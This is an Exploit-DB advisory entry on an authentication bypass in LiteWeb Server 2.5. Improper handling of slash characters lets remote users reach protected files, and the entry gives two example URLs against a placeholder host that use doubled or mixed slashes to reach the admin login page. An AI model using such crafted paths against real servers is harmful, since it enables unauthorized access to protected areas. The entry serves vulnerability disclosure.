LiteWeb Server 2.5 - Authentication Bypass Vulnerability

2005-06-03T00:00:00
ID EDB-ID:25787
Type exploitdb
Reporter Ziv Kamir
Modified 2005-06-03T00:00:00

Description

LiteWeb Server 2.5 Authentication Bypass Vulnerability. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/13850/info

LiteWeb Server is prone to a vulnerability that may let remote attackers bypass authentication.

The specific issue is inadequate sanitization of user-supplied requests. In particular, there is an error in the handling of slash characters '/\' that will allow remote users to access protected files. 

http://www.example.com/\admin\/login.html
http://www.example.com//admin//login.html